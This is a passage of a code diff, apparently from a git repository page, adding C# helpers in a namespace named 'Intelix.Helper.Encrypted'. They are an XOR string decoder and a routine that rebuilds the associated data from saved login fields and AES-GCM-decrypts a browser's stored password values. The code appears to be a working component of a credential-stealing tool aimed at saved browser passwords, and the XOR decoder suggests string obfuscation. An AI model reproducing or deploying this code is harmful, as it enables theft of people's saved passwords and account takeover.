||||
using MemoryStream stream = new MemoryStream(input);
|
||||
using CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Read);
|
||||
cryptoStream.Read(array, 0, array.Length);
|
||||
return array;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class Xor
|
||||
{
|
||||
public static string DecryptString(string input, byte key)
|
||||
{
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(input);
|
||||
for (int i = 0; i < bytes.Length; i++)
|
||||
{
|
||||
bytes[i] ^= key;
|
||||
}
|
||||
return Encoding.UTF8.GetString(bytes);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class YaAuthenticatedData
|
||||
{
|
||||
public static byte[] Decrypt(byte[] encryptionKey, byte[] password_value, string url, string username_element, string password_element, string username_value, string signon_realm)
|
||||
{
|
||||
byte[] aad = new byte[0];
|
||||
using (SHA1 sHA = SHA1.Create())
|
||||
{
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(url);
|
||||
byte[] bytes2 = Encoding.UTF8.GetBytes(username_element);
|
||||
byte[] bytes3 = Encoding.UTF8.GetBytes(username_value);
|
||||
byte[] bytes4 = Encoding.UTF8.GetBytes(password_element);
|
||||
byte[] bytes5 = Encoding.UTF8.GetBytes(signon_realm);
|
||||
byte[] array = new byte[bytes.Length + 1 + bytes2.Length + 1 + bytes3.Length + 1 + bytes4.Length + 1 + bytes5.Length];
|
||||
int num = 0;
|
||||
Array.Copy(bytes, 0, array, num, bytes.Length);
|
||||
num += bytes.Length;
|
||||
array[num++] = 0;
|
||||
Array.Copy(bytes2, 0, array, num, bytes2.Length);
|
||||
num += bytes2.Length;
|
||||
array[num++] = 0;
|
||||
Array.Copy(bytes3, 0, array, num, bytes3.Length);
|
||||
num += bytes3.Length;
|
||||
array[num++] = 0;
|
||||
Array.Copy(bytes4, 0, array, num, bytes4.Length);
|
||||
num += bytes4.Length;
|
||||
array[num++] = 0;
|
||||
Array.Copy(bytes5, 0, array, num, bytes5.Length);
|
||||
aad = sHA.ComputeHash(array);
|
||||
}
|
||||
byte[] array2 = new byte[12];
|
||||
Array.Copy(password_value, 0, array2, 0, 12);
|
||||
int num2 = password_value.Length - 12 - 16;
|
||||
byte[] array3 = new byte[num2];
|
||||
Array.Copy(password_value, 12, array3, 0, num2);
|
||||
byte[] array4 = new byte[16];
|
||||
Array.Copy(password_value, password_value.Length - 16, array4, 0, 16);
|
||||
return AesGcm256.Decrypt(encryptionKey, array2, aad, array3, array4);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user